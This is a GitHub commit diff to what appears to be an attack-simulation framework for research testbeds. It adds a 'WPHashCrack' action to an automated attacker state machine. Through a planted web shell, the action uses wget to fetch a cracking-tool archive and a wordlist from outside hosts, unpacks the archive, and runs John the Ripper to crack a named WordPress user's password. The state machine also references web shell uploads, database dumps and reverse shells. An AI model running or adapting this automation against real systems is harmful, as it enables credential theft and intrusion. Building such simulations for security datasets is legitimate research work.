Skip to content

Commit

Permalink
Merge pull request #7 from ait-aecid/add_hashcrack
Browse files Browse the repository at this point in the history
Add hashcrack action to attacker sm
  • Loading branch information
max-frank authored Sep 23, 2021
2 parents 529338a + 1a475ff commit f97e240
Show file tree
Hide file tree
Showing 5 changed files with 220 additions and 5 deletions.
122 changes: 122 additions & 0 deletions src/cr_kyoushi/statemachines/aecid_attacker/actions.py
Original file line number Diff line number Diff line change
Expand Up @@ -24,8 +24,10 @@

from bs4 import BeautifulSoup
from pwnlib.tubes.listen import listen
from pydantic import HttpUrl
from structlog.stdlib import BoundLogger

from cr_kyoushi.simulation.model import ApproximateFloat
from cr_kyoushi.simulation.util import (
sleep,
sleep_until,
Expand Down Expand Up @@ -510,6 +512,126 @@ def __call__(
log.error("No post to upload shell to")


class WPHashCrack:
"""Transition function uses WP hash cracker to find employee password."""

def __init__(
self,
hashcrack_url: HttpUrl,
file_name: str,
wl_url: HttpUrl,
wl_name: str,
attacked_user: str,
tar_download_name: str = None,
cmd_param: str = "wp_meta",
verify: bool = False,
timeout: Optional[float] = None,
sleep_time: Union[ApproximateFloat, float] = 3.0,
):
"""
Args:
hashcrack_url: url of the hashcrack tar.
file_name: name of the hashcrack tar.
wl_url: address of the host where wordlist is available.
wl_name: name of the wordlist.
attacked_user: the name of the WP user to crack the password.
tar_download_name: the name of the hashcrack tar after downloading.
cmd_param: the GET parameter to embed the command in.
verify: if HTTPS connection should very TLS certs.
timeout: the maximum time to wait for the web server to respond.
sleep_time: the waiting time between executed requests.
"""
self.url = hashcrack_url
self.file_name = file_name
self.wl_url = wl_url
self.wl_name = wl_name
self.attacked_user = attacked_user
self.tar_download_name = tar_download_name
self.cmd_param = cmd_param
self.verify = verify
self.timeout = timeout
self.sleep_time = sleep_time

def __call__(
self,
log: BoundLogger,
current_state: str,
context: Context,
target: Optional[str],
):
web_shell = context.web_shell
log = log.bind(
url=self.url,
wl_url=self.wl_url,
attacked_user=self.attacked_user,
web_shell=web_shell,
)
if web_shell is not None:
archive_download_cmd = ["wget", str(self.url)]
if self.tar_download_name is not None:
archive_download_cmd += ["-O", self.tar_download_name]
log.info("Downloading WPHashCrack")
output = send_request(
log,
web_shell,
archive_download_cmd,
self.cmd_param,
self.verify,
self.timeout,
)
log.info("Downloaded WPHashCrack")
log.info("Web shell command response", output=output)
sleep(self.sleep_time)
if self.tar_download_name is None:
self.tar_download_name = self.file_name
log.info("Unarchiving WPHashCrack")
output = send_request(
log,
web_shell,
["tar", "xvfz", self.tar_download_name],
self.cmd_param,
self.verify,
self.timeout,
)
log.info("Unarchived WPHashCrack")
log.info("Web shell command response", output=output)
sleep(self.sleep_time)
log.info("Downloading password list")
output = send_request(
log,
web_shell,
["wget", str(self.wl_url)],
self.cmd_param,
self.verify,
self.timeout,
)
log.info("Downloaded password list")
log.info("Web shell command response", output=output)
sleep(self.sleep_time)
log.info("Running WPHashCrack")
output = send_request(
log,
web_shell,
[
"./wphashcrack-0.1/wphashcrack.sh",
"-w",
"$PWD/" + self.wl_name,
"-j",
"./wphashcrack-0.1/john-1.7.6-jumbo-12-Linux64/run",
"-u",
self.attacked_user,
],
self.cmd_param,
self.verify,
self.timeout,
)
log.info("Finished WPHashCrack")
log.info("Web shell command response", output=output)
else:
log.error("Missing web shell url")
raise Exception("No web shell to execute at")


def encode_cmd(cmd: List[str]) -> str:
"""Encodes the command and args list with JSON and base64.
Expand Down
35 changes: 35 additions & 0 deletions src/cr_kyoushi/statemachines/aecid_attacker/config.py
Original file line number Diff line number Diff line change
Expand Up @@ -144,6 +144,41 @@ class WordpressAttackConfig(BaseModel):
description="The JPEG image to use to for the web shell upload exploit",
)

hashcrack_url: HttpUrl = Field(
...,
description="The url to the hashcrack repo",
)

file_name: str = Field(
...,
description="The name of the hashcrack tar",
)

wl_url: HttpUrl = Field(
...,
description="The url to the host and path where the wordlist for cracking is available",
)

wl_name: str = Field(
...,
description="The name of the wordlist",
)

attacked_user: str = Field(
...,
description="The name of the WP user where password is cracked",
)

tar_download_name: str = Field(
None,
description="The name of the downloaded tar file",
)

offline_cracking_probability: float = Field(
0.5,
description="The probability that cracking is assumed to take place offline",
)

commands: List[WebShellCMD] = Field(
[
WebShellCMD(name="check_user_id", cmd=["id"]),
Expand Down
37 changes: 35 additions & 2 deletions src/cr_kyoushi/statemachines/aecid_attacker/sm.py
Original file line number Diff line number Diff line change
Expand Up @@ -117,10 +117,29 @@ def build(self, config: StatemachineConfig):
escalate_time,
name="escalate phase",
),
name="wait_until_escalate",
name="cracking",
target="cracked_passwords",
)

decide_crack_method = NoopTransition(
"decide_crack_method",
target="crack_choice",
)

crack_wphash = Transition(
actions.WPHashCrack(
config.wordpress.hashcrack_url,
config.wordpress.file_name,
config.wordpress.wl_url,
config.wordpress.wl_name,
config.wordpress.attacked_user,
config.wordpress.tar_download_name,
sleep_time=idle.tiny,
),
name="crack_wphash",
target="wphash_cracked",
)

vpn_reconnect = DelayedTransition(
f_vpn_connect,
name="vpn_connect",
Expand Down Expand Up @@ -209,7 +228,14 @@ def build(self, config: StatemachineConfig):
name="wait_escalate_choice",
escalate_time=escalate_time,
listen_reverse_shell=listen_reverse_shell,
vpn_disconnect=vpn_pause,
decide_cracking_method=decide_crack_method,
)

crack_choice = states.CrackChoice(
name="crack_choice",
offline_cracking=vpn_pause,
wphashcrack=crack_wphash,
offline_cracking_probability=config.wordpress.offline_cracking_probability,
)

cracking_passwords = states.CrackingPasswords(
Expand All @@ -222,6 +248,11 @@ def build(self, config: StatemachineConfig):
transition=vpn_reconnect,
)

wphash_cracked = states.WPHashCracked(
name="wphash_cracked",
transition=listen_reverse_shell,
)

vpn_reconnected = states.VPNReconnected(
name="vpn_reconnected",
transition=listen_reverse_shell,
Expand Down Expand Up @@ -265,8 +296,10 @@ def build(self, config: StatemachineConfig):
recon_wordpress,
recon_host,
wait_escalate_choice,
crack_choice,
cracking_passwords,
cracked_passwords,
wphash_cracked,
vpn_reconnected,
reverse_shell_listening,
opening_reverse_shell,
Expand Down
8 changes: 7 additions & 1 deletion src/cr_kyoushi/statemachines/aecid_attacker/sm.smcat
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@
recon_intranet,
recon_host,
^skip_wait,
crack_choice,
cracking_passwords,
cracked_passwords,
vpn_reconnected,
Expand Down Expand Up @@ -34,9 +35,14 @@
recon_host -> recon_host: dump_wp_db;
recon_host -> ^skip_wait: next_phase;

^skip_wait -> cracking_passwords: vpn_disconnect ["current time < escalate_start"];
^skip_wait -> crack_choice: decide_crack_method ["current time < escalate_start"];
^skip_wait -> reverse_shell: open_reverse_shell ["current time >= escalate_start"];

crack_choice -> cracking_passwords: vpn_pause ["probability"];
crack_choice -> wphash_cracked: crack_wphash ["1 - probability"];

wphash_cracked -> reverse_shell: open_reverse_shell;

cracking_passwords -> cracked_passwords: wait_until_start;
cracked_passwords -> vpn_reconnected: vpn_connect;
vpn_reconnected -> reverse_shell: open_reverse_shell;
Expand Down
23 changes: 21 additions & 2 deletions src/cr_kyoushi/statemachines/aecid_attacker/states.py
Original file line number Diff line number Diff line change
Expand Up @@ -12,6 +12,7 @@
from cr_kyoushi.simulation.model import ApproximateFloat
from cr_kyoushi.simulation.states import (
ChoiceState,
ProbabilisticState,
SequentialState,
State,
)
Expand Down Expand Up @@ -247,24 +248,42 @@ def __init__(
name: str,
escalate_time: datetime,
listen_reverse_shell: Transition,
vpn_disconnect: Transition,
decide_cracking_method: Transition,
name_prefix: Optional[str] = None,
):
self.escalate_time: datetime = escalate_time
super().__init__(
name,
self.check_escalate_time,
listen_reverse_shell,
vpn_disconnect,
decide_cracking_method,
name_prefix=name_prefix,
)

def check_escalate_time(self, log: BoundLogger, context: Context) -> bool:
return now() >= self.escalate_time


class CrackChoice(ProbabilisticState):
def __init__(
self,
name: str,
offline_cracking: Transition,
wphashcrack: Transition,
offline_cracking_probability: float,
name_prefix: Optional[str] = None,
):
super().__init__(
name,
[offline_cracking, wphashcrack],
[offline_cracking_probability, 1 - offline_cracking_probability],
name_prefix=name_prefix,
)


CrackingPasswords = SequentialState
CrackedPasswords = SequentialState
WPHashCracked = SequentialState
VPNReconnected = SequentialState
ListeningReverseShell = SequentialState
OpeningReverseShell = SequentialState
Expand Down

0 comments on commit f97e240

Please sign in to comment.